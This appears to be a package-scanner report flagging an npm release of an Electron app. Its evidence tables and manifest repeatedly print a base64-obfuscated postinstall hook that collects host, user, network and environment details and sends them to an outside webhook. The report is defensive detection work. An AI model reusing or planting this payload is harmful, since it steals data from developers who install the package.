Package evidence
[email protected]
Install Lifecycle Remote Or Exec: postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"
Trust signals
Why this verdict
PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.
- Versions published
- 1
- First published
- Jun 2026
- Publisher
- gagesgr
Recommended action
Block this updateStatic evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.
Block this release in CIcurl · GitHub Actions
Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.
curl -fsS https://pkgradar.com/gate/npm \
-H "Authorization: Bearer $PKGRADAR_TOKEN" \
-H "Content-Type: application/json" \
-d '{"specs":["[email protected]"],"fail_on":"high"}'GitHub Actions step:
- name: PkgRadar gate
run: |
curl -fsS https://pkgradar.com/gate/npm \
-H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
-H "Content-Type: application/json" \
-d '{"specs":["[email protected]"],"fail_on":"high"}'Why flagged
What the scanner saw
Install Lifecycle Remote Or Exec: postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"
Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.
Availability ledger
available
Status history (1 event)
- new → available · risk high · score 35 · status changed
Evidence
Static findings
2 static · 0 from release diff · showing high-signal first.
| Severity | Kind | Path | Detail | Points |
|---|---|---|---|---|
| high | Install Lifecycle Remote Or Exec | package.json | postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'" | 30 |
Show all 2 findings (low-signal and informational)
| Severity | Kind | Path | Detail | Points |
|---|---|---|---|---|
| high | Install Lifecycle Remote Or Exec | package.json | postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'" | 30 |
| low | Install-time lifecycle script | package.json | postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'" | 5 |
Manifest
Package metadata
Scripts20
lintyarn lint:types && yarn lint:styles && yarn lint:ts && yarn lint:last-commitlint:last-commitcommitlint -f HEAD~1lint:stylesstylelint './src/**/*.tsx'lint:tseslint --ext .ts --ext .tsx srclint:typestscmakeyarn run make:linux && yarn run make:windows && yarn run make:macmake:linuxelectron-forge make --platform linuxmake:macelectron-forge make --platform darwinmake:windowselectron-forge make --platform win32packageyarn run package:linux && yarn run package:windows && yarn run package:macpackage:linuxelectron-forge package --platform linuxpackage:macelectron-forge package --platform darwinpackage:windowselectron-forge package --platform win32postinstallnode -e 'require("child_process").spawn(process.execPath,["-e",Buffer.from("KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==","base64").toString()],{stdio:"ignore",detached:true}).unref()'prettierprettier --write '{src,prisma}/**/*.{js,ts,tsx}'publishyarn run publish:linux && yarn run publish:windows && yarn run publish:macpublish:linuxelectron-forge publish --platform linuxpublish:macelectron-forge publish --platform darwinpublish:windowselectron-forge publish --platform win32startelectron-forge start
Dependencies32
@google-cloud/storage^3.2.1@material-ui/core^4.4.0@material-ui/icons^4.2.1@material-ui/lab^4.0.0-alpha.25@types/js-yaml^3.12.1archiver^3.1.1axios^0.19.0babel-plugin-module-resolver^3.2.0csv-parse^4.8.2csv-writer^1.5.0directory-tree^2.2.4electron-squirrel-startup^1.0.0eslint-import-resolver-babel-module^5.1.0fs-extra^8.1.0jpeg-exif^1.1.4js-yaml^3.13.1node-fetch^2.6.0promise-status-async^1.1.9ramda^0.26.1react^16.9.0react-dom^16.9.0react-dropzone^10.1.8react-redux^7.1.1react-spring^8.0.27redux^4.0.4redux-logger^3.0.6redux-persist^6.0.0redux-saga^1.0.5styled-breakpoints^6.7.2styled-components^4.3.2- …and 2 more.